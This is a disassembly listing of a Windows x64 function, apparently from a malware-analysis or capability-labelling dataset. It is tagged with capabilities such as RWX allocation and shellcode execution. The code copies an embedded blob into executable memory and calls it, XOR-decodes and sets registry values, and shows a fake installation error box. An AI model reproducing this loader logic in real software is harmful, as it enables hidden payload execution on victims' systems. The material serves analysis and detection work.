Function at 0x140003b0d
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xaa8e
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140003b48
mov eax, 1
jmp 0x140003ba3
lea rax, [0x1400196f9]
mov rdi, qword [rsp + 0x20]
mov rsi, rax
mov rcx, 0xaa8e
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0xa0
ret
stc
movzx eax, byte [r9 + 2]
mov byte [rbx - 6], al
movzx eax, byte [r9 + 3]
mov byte [rbx - 5], al
movzx eax, byte [r8]
mov byte [rbx - 4], al
movzx eax, byte [r8 + 1]
mov byte [rbx - 3], al
movzx eax, byte [r8 + 2]
mov byte [rbx - 2], al
movzx eax, byte [r8 + 3]
mov byte [rbx - 1], al
jmp 0x140003c11
test r14b, r14b
je 0x140004c5e
movzx eax, byte [r8 + 1]
movzx ecx, byte [r9 + 1]
sub rcx, rax
movzx eax, byte [r8]
movzx r12d, byte [rcx + rdx + 0xf8d1f]
movzx ecx, byte [r9]
sub rcx, rax
movzx esi, r12b
movzx edi, byte [rcx + rdx + 0xf8d1f]
and sil, r15b
cmp dil, sil
jbe 0x140003c55
movzx ebp, dil
jmp 0x140003c5f
movzx ebp, r12b
movzx eax, r15b
and ebp, eax
movzx eax, byte [r8 + 2]
movzx ecx, byte [r9 + 2]
movzx r15d, r15b
sub rcx, rax
movzx r11d, byte [rcx + rdx + 0xf8d1f]
and r11d, r15d
cmp ebp, r11d
jle 0x140003c95
cmp dil, sil
jbe 0x140003c8c
movzx ebp, dil
jmp 0x140003c98
movzx ebp, r12b
and ebp, r15d
jmp 0x140003c98
mov ebp, r11d
movzx eax, byte [r8 + 3]
movzx ecx, byte [r9 + 3]
sub rcx, rax
movzx eax, byte [0x1400fc1bf]
movzx r8d, byte [rcx + rdx + 0xf8d1f]
and r8d, eax
cmp ebp, r8d
jle 0x140003ce8
cmp dil, sil
jbe 0x140003cc8
movzx eax, dil
jmp 0x140003ccf
movzx eax, r12b
and eax, r15d
cmp eax, r11d
jle 0x140003ceb
cmp dil, sil
jbe 0x140003cdf
movzx r11d, dil
jmp 0x140003ceb
movzx r11d, r12b
and r11d, r15d
jmp 0x140003ceb
mov r11d, r8d
mov edx, dword [rsp + 0x24]
mov r8d, dword [rsp + 0x28]
mov r13d, dword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
cmp r11d, 0x11
jge 0x140004c71
mov r9b, 1
jmp 0x140004c77
pop rax
mov dword [rsp + 0x70], esi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x70]
and byte [rbp + rcx*4 + 0x4c], cl
and al, 0x70
xor r8d, r8d
lea rdx, [0x1400183f0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140004cea
cmp dword [rsp + 0x70], 3
jne 0x140004cea
mov eax, dword [rsp + 0x58]
cmp eax, 2
jb 0x140004cea
test al, 1
jne 0x140004cea
mov ecx, eax
call fcn.140006540
mov rbx, rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400183f0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140004ce6
mov rcx, rbx
call fcn.1400064b8
mov rbx, rsi
jmp 0x140004cea
mov edi, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x78], rsi
test rbx, rbx
je 0x140004da8
test edi, edi
je 0x140004da8
mov ecx, esi
lea r8, [0x140003000]
cmp ecx, edi
jge 0x140004d3c
movsxd rdx, ecx
mov eax, ecx
and eax, 0x8000001f
jge 0x140004d2b
dec eax
or eax, 0xffffffe0
inc eax
cdqe
mov al, byte [rax + r8 + 0x11a70]
xor byte [rdx + rbx], al
inc ecx
jmp 0x140004d14
cmp esi, edi
jge 0x140004da1
test r12d, r12d
jne 0x140004da1
movzx r15d, byte [rbx]
add esi, 4
cmp r15d, 0x10
jl 0x140004d9c
movsxd rax, esi
add rax, rbx
mov qword [rsp + 0x60], rax
lea r8d, [r12 + 0x10]
lea rdx, [rsp + 0xc0]
mov rcx, rax
call fcn.1400063f0
test eax, eax
jne 0x140004d9c
mov rcx, qword [rsp + 0x60]
add rcx, 0x10
lea r8d, [r12 + 0x10]
lea rdx, [rsp + 0xd0]
call fcn.1400063f0
mov ecx, 0x43001f
test eax, eax
cmove r12d, ecx
add esi, r15d
jmp 0x140004d3c
xor esi, esi
mov r15, qword [rsp + 0x68]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140004dbd
or r12d, 0x9400
cmp r14d, 1
jne 0x140004ef4
cmp r12b, 0x1f
je 0x140004ef4
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140018410]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rcx, rbx
test eax, eax
je 0x140004e2f
call fcn.1400064b8
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x80]
call fcn.1400055cc
nop
jmp 0x14000502a
mov r12d, 0x24
add edi, r12d
movsxd rdx, edi
call fcn.140006d0c
mov rbx, rax
lea eax, [rdi - 1]
cmp eax, r12d
jl 0x140004e62
movsxd r8, eax
movsxd rcx, r12d
mov rdx, r8
sub rdx, rcx
mov cl, byte [rdx + rbx]
mov byte [r8 + rbx], cl
dec eax
jmp 0x140004e46
mov dword [rbx], 0x20
movups xmm0, xmmword [rsp + 0xc0]
movdqu xmmword [rbx + 4], xmm0
movups xmm1, xmmword [rsp + 0xd0]
movdqu xmmword [rbx + 0x14], xmm1
mov ecx, esi
lea r8, [0x140003000]
cmp ecx, edi
jge 0x140004eb3
movsxd rdx, ecx
mov eax, ecx
and eax, 0x8000001f
jge 0x140004ea2
dec eax
or eax, 0xffffffe0
inc eax
cdqe
mov al, byte [rax + r8 + 0x11a70]
xor byte [rdx + rbx], al
inc ecx
jmp 0x140004e8b
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
lea rdx, [0x1400183f0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rbx
call fcn.1400064b8
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x78], rsi
jmp 0x140004fe5
test r12d, r12d
jne 0x140004fe5
test r14d, r14d
jne 0x140004fe5
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x70], esi
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x68]
call fcn.140005620
mov rbx, qword [rsp + 0x68]
test rbx, rbx
jne 0x140004f40
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x80]
call fcn.1400055cc
nop
jmp 0x14000502a
mov qword [rsp + 0x60], rsi
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test eax, eax
jne 0x140004f88
lea r8d, [rax + 0x10]
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x90]
call fcn.1400068d0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x90]
call fcn.140004000
mov r11, qword [rsp + 0x60]
mov qword [rsp + 0x68], r11
mov rax, qword [0x140018898]
lea rcx, [r11 + rax]
mov qword [rsp + 0x58], rcx
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbx
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x60]
mov rcx, r15
call fcn.140005074
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x80]
call fcn.1400055cc
nop
xor eax, eax
jmp 0x140005050
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
mov r9d, 0x10
lea r8, str.Critical_error
lea rdx, str.An_error_occured_while_installing_main_application_assembly.
call qword [sym.imp.USER32.dll_MessageBoxW]
mov eax, r13d
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret